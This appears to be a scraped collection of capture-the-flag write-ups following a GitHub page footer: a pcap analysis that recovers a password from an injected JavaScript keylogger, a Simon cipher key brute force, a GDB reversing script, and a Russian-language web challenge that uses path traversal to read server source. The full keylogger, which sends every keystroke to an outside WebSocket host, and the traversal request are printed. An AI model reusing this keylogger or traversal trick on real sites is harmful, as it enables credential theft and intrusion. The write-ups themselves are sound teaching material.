</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>libc.so.6</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
# Logger – *Write-up by @terjanq*
> Description>---> Someone stole my password … (´・ω・`)> - [logger.pcap]>> (Rev + Net, 200 points)
### PrologIn the task we are provided with only one file [logger.pcap] and with the hint: _Someone stole my password_ ...
`.pcap` is a packet capture extension. To read it I used the popular tool: `Wireshark`
### PacketsFirst thing I was searching for in the given logs, were `HTTP` packets. I quickly noticed `POST requests` to `/login.php` which showed the login credentials.
![credentials]
We see that there are parameters: `username`, `cnonce` and `hash`, but no `password` given. The existence of `hash` argument indicates that `javascript code` had to be used. And indeed there is [bundle.js] file provided as a response of the `GET /dist/bundle.js` request.
![packets]
There is another interesting packet `HTTP/1.1 101 Switching Protocols` which indicates that `WebSocket tunnel` has started.
### Javascript
As mentioned earlier I fetched the [bundle.js] and the first thing I have tried was to search for part of the code where `hash` is calculated.
```jsfunction(e, t) { function i(t) { return e.createHash("sha256").update(t).digest("hex"); } var r = n(162); n.n(r); t(function() { t("#submit").on("click", function() { var e = t("input#username").val(), n = t("input#password").val(), r = t("input#nonce").val(), o = Math.random() + "", a = i(i(n) + ":" + r + ":" + o); return t.post("login.php", { username: e, cnonce: o, hash: a }, function(e) { e.error ? t("input#nonce").val(e.nonce) : location.reload(!0) }), !1 }) }) }.call(t, n(72), n(70))```
It can be seen, that in order to calculate the `hash` I need to know: `password`, `nonce` and `cnonce`, but from these three only last two are known. By looking at the `function i()` I assume that the function creates a valid, not vulnerable `SHA256` hash. As the result of this assumption, I have remembered about `WebSocket protocol` I noticed before and quickly searched for `WebSocket` word in the source code.
### Websocket
After some formatting, I get the injected by an attacker code ([injected.js]) which looks like following:
```jswindow.addEventListener("DOMContentLoaded", function() {
function encode(msg, key) { var encoded_arr = []; if (typeof s === "string") msg = (new TextEncoder("utf-8")).encode(msg); var i=0, z; for (;i < msg.length;i++) if(msg[i]) break; z = i; for (;i < msg.length;i++) { var c = msg[i], j = 0; for (;j in encoded_arr || c;j++) { if (encoded_arr[j]) c += encoded_arr[j] * 256; encoded_arr[j] = c % 58; c = Math.floor(c / 58); } } return key[0].repeat(z) + encoded_arr.reverse().map(x => key[x]).join(""); }
function hash(s) { var r = 0, i=0; for (;i < s.length;i++) r = r * 31 + s.charCodeAt(i) | 0; return r; }
function rand(s) { var x = 123456789, y=362436069, z=521288629, w = 88675123, t; return function(a, b) { t = x ^ x << 11; x = y; y = z; z = w; w = w ^ w >> 19 ^ (t ^ t >> 8); if (a !== undefined && b !== undefined) { return a + w % (b + 1 - a); } return w; }; }
function shuffle(a, r) { var i; i = a.length - 1; for (;i > 0;i--) { var j = Math.abs(r(0, i)); var t = a[i]; a[i] = a[j]; a[j] = t; } }
var ws = new WebSocket("ws://192.168.99.101:7467"); var key = "MeitamANbcfv2yXDH1RjPTzVqnLYFhE54uJUkdwCgGB36srQ8o9ZK7WxSp"; var key2 = key;
ws.addEventListener("open", function(event) { var message = navigator.userAgent; ws.send(encode(message, key)); key2 = key.split(""); shuffle(key2, rand(hash(message))); key2 = key2.join(""); });
Array.from(document.getElementsByTagName("input")).forEach(function(e) { e.addEventListener("keyup", function(v) { ws.send(encode(Math.random().toString().slice(2) + " " + v.key, key2)); }, false); });
}, false);
```
We can see that communication *client-server* is encoded (`ws.send(encode(message, key))`) using two keys `key` and `key2`. Initially, our key is equal to `MeitamANbcfv2yXDH1RjPTzVqnLYFhE54uJUkdwCgGB36srQ8o9ZK7WxSp` and then after some _shuffling_ it transforms to `key2`. Also, the first message sent via `sockets` is just client's `User-Agent` value, which is also used to transform the `key`.
`User-Agent` is not a secret, because we can easily fetch it from `HTTP headers`.
> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36
To confirm that encode function returns the same encoded message as unmasked packet from `Wireshark` I evaluated `encode()` function with `User-Agent` value as the message and `MeitamANbcfv2yXDH1RjPTzVqnLYFhE54uJUkdwCgGB36srQ8o9ZK7WxSp` as the key. As expected, the trial has succeeded.
> WebSocket: T4N8jgYZ5ChvnMJyKyAPCvwAcAmjAhVLt12DeE6SXJQxKsXyv3HL2xKXgASRLHpkDDYRxYQVJt1rNGH6KxyWkkK2gQep84LG33j5N1fzFaxDeXmKfcargKYanYq66KKs9U2XTWEerSwBMCPbsj7faMHQzSkNH
By looking at functions `hash`, `rand` and `shuffle` we see that there is no any randomization made or any desire of reversing them. So, I just use them to generate they transformed key `key2`.
The attacker attached a *keylogger* on every input on the site, which is sending each pressed by user key to external server as an encoded message in form of `ws.send("{random} {input_key}", key2)`.
I searched for `WebSockets` packets in `Wireshark` and I noticed that there are packets of three lengths: *~219*, *~60*, *~85*. First ones are encoded `User-Agent messages`, second - `pings` and the last ones are the ones I need - `user input`.
![websocket]
I dumped those packets into [sockets.txt]
### Decoding
In order to solve the task, we would like to decode at least the last character of the message. As mentioned already, we don't need to reverse anything except the function `encode(msg, key)`. Let's have a closer look at it with removing unused parts.
```jsfunction encode(msg, key) { var encoded_arr = []; msg = (new TextEncoder("utf-8")).encode( msg );
for (var i = 0; i < msg.length; i++) { var c = msg[ i ]; for (var j = 0; j in encoded_arr || c; j++) { if (encoded_arr[ j ]) { c += encoded_arr[ j ] * 256 } encoded_arr[ j ] = c % 58; c = Math.floor( c / 58 ) } }
return encoded_arr.reverse().map( x => key[x] ).join("")}```
After decent analyze of the function I came to the following conclusions:- each `element` of `encoded_arr` is between [0, 58)- `msg` is converted to `Uint8Array` so its value is between [0, 255]- `key` is of length 58 and is used only as a dictionary in return function- each letter of `msg` is used as the transofrmation seed of `encoded_arr`
These observations pushed me to the solution of reversing this function by brute-forcing all the possible seeds and all the possible transformations.
Reversing `return encoded_arr.reverse().map( x => key[x] ).join("")` is quite easy, since it just replaces each character of reversed `encoded_arr` with corresponding character in dictionary `key[]`. The reversion of the code can be done by `encoded_arr.split("").map( x => key.indexOf(x) ).reverse()`
To fetch the last character of the word we have to solve the equation: ```c = seedc0 = c + prev_encoded_arr[0] * 256encoded_arr[0] == c0 % 58```where we only know `encoded_arr[0]`, and the `seed` is the searched character of `msg`
### Solution
It has to be said, that there will be a lot of solutions `(c, prev_encoded_arr[0])`, so we should repeat the process deep enough for succeeding elements of `prev_encoded_arr[]` and our solutions will quickly zip into one-way solution.
In my initial solution, I had used a simple recursive function with deep of 10, and it was enough to solve the task.
```jsvar fetched_char = "", result = "";function helper(i, c, encoded_arr, c0){ if( i == 10 ) { fetched_char = String.fromCharCode( c ); return; }
for(var r0 = 0; r0 < 58; r0++){ c0 += r0*256; if(encoded_arr[ i ] == c0 % 58){ helper(i + 1, c, encoded_arr, Math.floor( c0 / 58 )); } }}function decode(encoded_arr, key){ encoded_arr = encoded_arr.split(""); encoded_arr = encoded_arr.map( x => key.indexOf(x) ).reverse();
for(var c = 0; c < 256; c++){ helper(0, c, encoded_arr, c) } return fetched_char;}for(var packet of packets){ result = decode(packet, key2) + result;}console.log(result); ```The only issue of this solution was, that not every character is of length 1 (e.g. `Shift`), and the recieved text contained unwanted `t` characters: `irizaki_tmeibuteute_tdamashiilaeHtarekazeCTF{t7r1663r_th4ppy_t61rl}t `.It wasn't too hard to remove them though and the final flag was: **HarekazeCTF{7r1663r_h4ppy_61rl}**
However this is the simplest solution I can think of, and after the competition ended I've improved the code of [decoder.js] and decoded the whole strings, which are as follows :)
![decoded]
The complete improved solution is included in [decoder.html]
```jsfunction encode(msg, key) { var encoded_arr = []; msg = (new TextEncoder("utf-8")).encode( msg );
for (var i = 0; i < msg.length; i++) { var c = msg[ i ]; for (var j = 0; j in encoded_arr || c; j++) { if (encoded_arr[ j ]) { c += encoded_arr[ j ] * 256 } encoded_arr[ j ] = c % 58; c = Math.floor( c / 58 ) } }
return encoded_arr.reverse().map( x => key[x] ).join("")}
function helper(i, c, encoded_arr, c0, cb){ if(i == encoded_arr.length) { if(c0 == 0){ this.solved = true; cb(String.fromCharCode( c )); } return; } if(i == 0) this.solved = false; for(var r0 = 0; r0 < 58; r0++){ var orig_r0 = encoded_arr[ i ]; if( this.solved ) return; if( encoded_arr[ i ] == (c0 + r0*256) % 58 ){ encoded_arr[ i ] = r0; helper(i + 1, c, encoded_arr, Math.floor( ( c0 + r0*256 ) / 58), cb ); if( this.solved ) return; encoded_arr[ i ] = orig_r0; } }}
Array.prototype.back = function(){ return this[this.length - 1]; };
function decode(encoded_arr, key){ encoded_arr = encoded_arr.split(""); encoded_arr= encoded_arr.map( x => key.indexOf(x) ).reverse();
var result = ""; var callback = (x) => result += x;
while(encoded_arr.length){ for(var c = 0; c < 256; c++) helper(0, c, encoded_arr, c, callback); while( encoded_arr.length && !encoded_arr.back() ) encoded_arr.pop(); }
return result.split("").reverse().join("");}
function hash(s) { var r = 0, i=0; for (;i < s.length;i++) r = r * 31 + s.charCodeAt(i) | 0; return r; }
function rand(s) { var x = 123456789, y=362436069, z=521288629, w = 88675123, t; return function(a, b) { t = x ^ x << 11; x = y; y = z; z = w; w = w ^ w >> 19 ^ (t ^ t >> 8); if (a !== undefined && b !== undefined) { return a + w % (b + 1 - a); } return w; }; }
function shuffle(a, r) { var i; i = a.length - 1; for (;i > 0;i--) { var j = Math.abs(r(0, i)); var t = a[i]; a[i] = a[j]; a[j] = t; } }
var console_code = document.querySelector('#console');var _console = console.logconsole.log = function(...args){ if( console_code ) console_code.innerHTML += args.join(" ") + "\n"; _console(...args); }
var packets = ['iCmUsu3sWAgt1DLDTPiCsMkiJ','iTS5kqhhN6dZgQfzeXgG7yYr5','uKGMC4ZpKpR1Hbek9LnoWag','MENtnhfQx47g2MD4YfaPpapNRA','iBKoHeQsAyZ3yYg5uzbDpVBza','mez8Y8onREos36hbs1W3PrzEVyF','ioHr8fnSqtoRvLkvW6z6YoZLQ','iBKN3429YfCEmRAxT6f9g9Qsv','yvDepd8vhnp8MQNeYfiBKg2L5apQCZ','iDM2FWZnm2fnpYmYGmqVWex27','iDyQ3jA179gqDNzj51e8SzqfP','iDRMoK3vV8dwipy12npBHDCx6','RoAaJ29cybX87mddDKDJdDEw3ZGE29','iDVvjasQqyiaf7vKnNixERsNP','iBz2L9ZX6LUyopeooorQDnwYi','MEBmf8UBvosB98ocQawh9XZ45n','iM4zg74tACAR4XB7khRmL5gLC','iCATz5TGy5jcsCLGWawZSc8zc','iyvVZ3Q5xAVGy1ZLXZFdnXTep','iDS5YadHVaegKNDjYJkamNM8a','yvrGR54rYJj19e75eo1TACqEAuGfow','ioPy4npLFrivepDY4MioMARxZ','iBwMxi5246Xg7UQi2yvJQ8Xg6','iyvVWzDwMaVPLaZYQ2y975QT6','4VXm8RKGEgG95iKCXam1ygN','M77CEgVf6os6K6tjN1M6A9y7pn','MVeeCjRXYXcKdAgCxKFTJgAdZo','meFcfCq8k1CzkESo7i4GDRnhx9n','iyvkbgC3k9R7JTPUESdmeZfzn','oY9P5XbTFsaV4sS2CHBJE3hcYZTQvurTr','iEEhZ5DXWedXQ4iUQbmwrGrs3','dNUzs2v4Vf7U6GdArAhvCmdPtLH8WMviyq','iCAjd7zUWskbSy9RLYjtrZDCV','qPgGDYUvNuUT3Ch1fKgknFW4CPVcWgH','iShnuif7DhNDTetUZMXWG9rLJ','iDSiqPQnncdz6Rs6YGzmeWuqE','iC8FaVhXmb1GYXrCGw5CcuAXC','i7fBGggWJf9LNRdVprPLPpei3','i7fxmXUMpgst9kACHosb91Cka','MECvB5p81fNgVACMmJQsVd6cQB','iiDMtEVW7BUo5ocRRN4inXdQ7','iSEGbN9YJHTXWLQp2JRMcPmFp','iy9KSw2qYEeVA627cyZzH6F6U','iCN8mpZLH7uUp1fUADyGA5P95','MECbuHyU6L65iPw5Asw92EekYa','yvzJxXHW4XEPsncH4zSHDxVZf9tzxk','iBz2LgRNBBfq42MTaCV3wvjCR','iM5bfsw5xU93kTpig2Q4YmS7A','iBYgT3V51QMxRuxhUS1dSm6s2','ME8pn9tTKm3HEkhnFUeXyB7Wtd','iCN5jfUJiqBYWEbP3hhFgDfci','iDVWAJwuudMAi7x7CpNGARxA4','iMGUZeMFtyDcYf7qGpMHfsEvB','iCA3E5NsH2vMvZck9rexTLXG4','horZcydUns9SRFV8wefAJhEYWGwVfxrS','ME131HW8CbVfH26b1XpK6741Kk','iSEGaKaTXheBaHoAFgrF2ncaL','T6Kihw84sq6JnwNc1V6ps5','iDSNbdyahA2wUahbo5oaztjvm','iyvVWY7oECQ2PE3nLMW9ZcR1Q','iidqHMFJ5xshHM4XstWfXvHqJ','hiMU5F4R6qXdTWeiuwuL8so1qCDzsj4m','iC51H2btb9FywrKrgFCqcCUnA','iyvVZ8xTQrukCAiSe6Yrfogg4','i7qb1XR4yhPUzyK1y1k1M1kHH','iyducwzyZxJgeN11VjtYrPnrt','iBwageNmGH9F1Cx7gcK8nhPkC','yWzcku8Ed5ZYasGMqBNny8Cy8ue4hH'];
var key = "MeitamANbcfv2yXDH1RjPTzVqnLYFhE54uJUkdwCgGB36srQ8o9ZK7WxSp";var msg = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36";
var key2 = key.split("");shuffle( key2, rand( hash(msg) ) );key2 = key2.join("")
window.onload = function(){ var result = "" for( packet of packets ){ var decoded = decode(packet, key2); if(/^\d+ .$/.test(decoded)) result += decoded[decoded.length - 1]; console.log(decoded); }
console.log("\n\nFlag: ", result, "\n\n");
var kk = (encode(msg, key));
console.log(`encoding: ${msg}\n\t${kk}\n`); console.log("decoded: ", decode(kk, key));}f```
[websocket]: <./files/websocket.png>[packets]: <./files/packets.png>[sockets.txt]: <./sockets.txt>[logger.pcap]: <./files/logger.pcap>[decoded]: <./files/decoded.png>[credentials]: <./files/credentials.png>[bundle.js]: <./files/bundle.js>[injected.js]: <./injected.js>[decoder.js]: <./decoder.js>[decoder.html]: <./decoder.html> |
> Simon and Speck Block Ciphers>> 100 points>> [https://eprint.iacr.org/2013/404.pdf](https://eprint.iacr.org/2013/404.pdf)>> Simon_96_64, ECB, key="SECCON{xxxx}", plain=0x6d564d37426e6e71, cipher=0xbb5d12ba422834b5
This was an opportunity to learn about yet more encryption algorithms. [Simon](https://en.wikipedia.org/wiki/Simon_(cipher)) and [Speck](https://en.wikipedia.org/wiki/Speck_(cipher)) were developed by NSA and put into public domain. One of the goals behind developing them was to have algorithms that are optimized for performance, both in software and in hardware.
Based on the description the key size is 96 bits (12 bytes) and the block size is 64 bits (8 bytes). The key template given is exactly 12 bytes, so it seems that we only need to find the missing 4-byte sequence - something that should be easily bruteforced, especially given the optimized nature of the algorithm.
Luckily for us a number of implementations exist online, including [this one](https://github.com/inmcm/Simon_Speck_Ciphers/tree/master/Python).
Let's plug it into ```pwntools``` bruteforcing facility:
```pythonfrom pwn import *from simon import SimonCipherimport binascii
s = iters.mbruteforce(lambda x: SimonCipher(int(binascii.hexlify("SECCON{"+x+"}"),16),mode='ECB',key_size=96, block_size=64).encrypt(0x6d564d37426e6e71) == 0xbb5d12ba422834b5, string.printable, 4, 'fixed')
print s```
Running the script very quickly gets us the answer:
```$ python solve.py [+] MBruteforcing: Found key: "6Pz0"6Pz0```
The flag is ```SECCON{6Pz0}```. |
#### 34C3 CTF 2017 - m0rph 49 - Reverse Engineering
##### Challenge
To get you started :)
files: Link
difficulty: easy
#### Summary
A stripped binary that compare character by character in a random order, also, the comparison is in an assembly code that it will change the comparison in each iteration in the loop.
#### Solution
Binary:
```morph: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=1c81eb4bc8b981ed39ef79801d6fef03d4d81056, stripped```
The binary get one arguments, that it is the flag and first comparison is the length of the flag:

After this, the binary have two call rax where execute assembly code that it is in the .rodata section, there we can see a character comparison. The character comparison is random, and in each execution will compare the characters in a different order.

As the binary is PIE (Position Independent Executable), we can not know the address before the execution. A little trick is use the debugger to know the address that the debugger will use.


So, now we can to make and script to get all characters comparisons and generate the flag. I have used GDB for this purpose, the script will change the memory with the new characters until the flag is complete.
```b *0x0000555555554b95b *0x0000555555554bc6set $pos = 0x0run `python -c 'print "A"*23'`set $flag = $rdiwhile($pos<23)stepstepstepx/2i $ripset $var = $rip+0x3set *(char *)$rdi=*(char *) $var print $ripset $pos = $pos+0x1printf "[+] Flag: %s\n",$flagcend```
 |
# Sharknado - 482 Points
Official fan page!
### SolutionОткрываем сайт
[http://sharknado01.3dsctf.org:8005](http://sharknado01.3dsctf.org:8005)

Видим, что он состоит из фреймов, что не позволяет, изучить его быстро
```html<HTML><HEAD><TITLE>Sharknado's Page</TITLE></HEAD><frameset cols="20%, 80%" noresize="noresize"> <frame name="frame" src="menu.php"> <frameset rows="20%, 80%"> <frame name="title" src="title.php" noresize="noresize"> <frame name="main" src="main.php" noresize="noresize"></frameset></html>```
Ссылок много, по этому пробежимся по всем и запишем трафик с помошью Charles
Находим страницу с интересным содержанием

[http://sharknado01.3dsctf.org:8005/download.php?file=images/poster.jpg](http://sharknado01.3dsctf.org:8005/download.php?file=images/poster.jpg)
Так же находим страницу которая имеет поля для ввода и как-то обрабатывает введенную информацию

[http://sharknado01.3dsctf.org:8005/backstage.php](http://sharknado01.3dsctf.org:8005/backstage.php)
Пробуем эксплуатировать уязвимость на этой странице
[http://sharknado01.3dsctf.org:8005/download.php?file=backstage.php](http://sharknado01.3dsctf.org:8005/download.php?file=backstage.php)
Видим исходный код
```php
```Чтобы разобраться как он работает, скачиваем его себе на компьютер и поднимаем у себя
`php -S localhost:80`
Для удобства дебаггинга, код был изменен
```php'; echo 'j '.$j.''; for ($i = 0; $i < $dives; $i++) { $b = base64_encode($ticket); echo $i.' b '.$b.''; $b = substr($b, 0, strlen($b) - $j); echo $i.' b '.$b.''; $p = $p * 10; $j = $j + $p; echo ""; echo 'p '.$p.''; echo 'j '.$j.''; echo ""; if ($i < ($dives - 1)) { $ticket = $b; echo "YES"; } }
$st = strlen($ticket); $sb = strlen($b); echo 'st '.$st." sb ".$sb." ticket ".$ticket." b ".$b.''; if (!$st || !$sb || ($ticket !== $b)) { echo "You can't enter and you can't dive!"; } else { echo "<script>alert(\"You're a true shark fan, he is your prize: \")</script>";
} }}?>```Пример того, как это работало

После долго анализа и поиска в Google, я нашел статью о том, что существует "магический" base64, который обладает интересными свойствами
Если взять base64 от "Vm0wd2Qy", то получим "Vm0wd2QyUXk="
Где наглядно видно, что base64 от строки, повторяет саму строку и дописывает посчитанное
Vm0wd2Qy Vm0wd2QyUXk=
В нашем случае это то, что надо и просто нужно найти нужно значение

Ссылка на статью, где я узнал об этом
[http://xlogicx.net/?p=383](http://xlogicx.net/?p=383)
В исходном коде была проверка
```phpif (!$st || !$sb || ($ticket !== $b))```
Из этих трех условий, возможным было обойти только
```php$ticket !== $b```Чем я и занялся
Ниже представлен код на Python для решения задачи
```pythonimport base64 as b64
src = "Vm0wd2Qy".encode()
def b(encode_text): return b64.b64encode(encode_text)
for i in range(1000): a = b(src) Res1 = a[:-1] aa = b(Res1) Res2 = aa[:-11] aaa = b(Res2) Res3 = aaa[:-111] l = len(src) symbol = a[l:l+1] if(Res2==Res3): print(src.decode()) break src += symbol
print("[+] Finished")```Вывод программы:
Vm0wd2QyUXlVWGxWV0d4V1YwZDRWMVl3WkRSV01WbDNXa1JTVjAxV2JETlhhMUpUVmpBeFYySkVUbGhoTVVwVVZtcEJlRll5U2tWVWJHaG9UVlZ3VlZadGNFSmxSbGw1VTJ0V1ZXSkhhRzlVVmxaM1ZsWmFkR05GU214U2JHdzFWVEowVjFaWFNraGh
Прямая ссылка на флаг:
[http://sharknado01.3dsctf.org:8005/backstage.php?ticket=Vm0wd2QyUXlVWGxWV0d4V1YwZDRWMVl3WkRSV01WbDNXa1JTVjAxV2JETlhhMUpUVmpBeFYySkVUbGhoTVVwVVZtcEJlRll5U2tWVWJHaG9UVlZ3VlZadGNFSmxSbGw1VTJ0V1ZXSkhhRzlVVmxaM1ZsWmFkR05GU214U2JHdzFWVEowVjFaWFNraGh&dives=3](http://sharknado01.3dsctf.org:8005/backstage.php?ticket=Vm0wd2QyUXlVWGxWV0d4V1YwZDRWMVl3WkRSV01WbDNXa1JTVjAxV2JETlhhMUpUVmpBeFYySkVUbGhoTVVwVVZtcEJlRll5U2tWVWJHaG9UVlZ3VlZadGNFSmxSbGw1VTJ0V1ZXSkhhRzlVVmxaM1ZsWmFkR05GU214U2JHdzFWVEowVjFaWFNraGh&dives=3)
Флаг:
> 3DS{N1c3_F1Xed_Po1nT} |
# Bad Encryption**100 points**```I was making an encryption program, but it is far from perfect. Instead of make the encryption work, I decided to just encrypt everything 100 times.```
The first step is to rename all the variables for readability with `Pycharm`(Any modern IDE would work).

The script seems to encode the input string(`"REDACTED"`) as a PNG image. One can assume that instead of the hardcoded string `"REDACTED"`, the flag has been processed in the script to generate the attached 100 images.
**For each character/pixel...** - The red and green are randomly generated. - The blue is calculated with the following formula```blue = round(character * (red/256) * (green/256) * 10)```
The idea seems to be that I need to figure out the original character by reversing the formula.
Now to look at the properties of the encryption,- Although 100 images are generated, each image is independent.- Blue values over 255 are capped to 255. (This took me a while to realize) - The `round` function introduces uncertainty making it impossible to create the inverse. ```y = round(x)y-0.5≦x |
Full write-up with attachments at [here](https://github.com/Inndy/ctf-writeup/tree/master/2017-seccon-quals/printf_machine)# printf_machine
It's a printf language [script](https://github.com/Inndy/ctf-writeup/tree/master/2017-seccon-quals/printf_machine/default.fs) and a simple[interpreter](https://github.com/Inndy/ctf-writeup/tree/master/2017-seccon-quals/printf_machine/fsmachine) which checks flag.
## solution
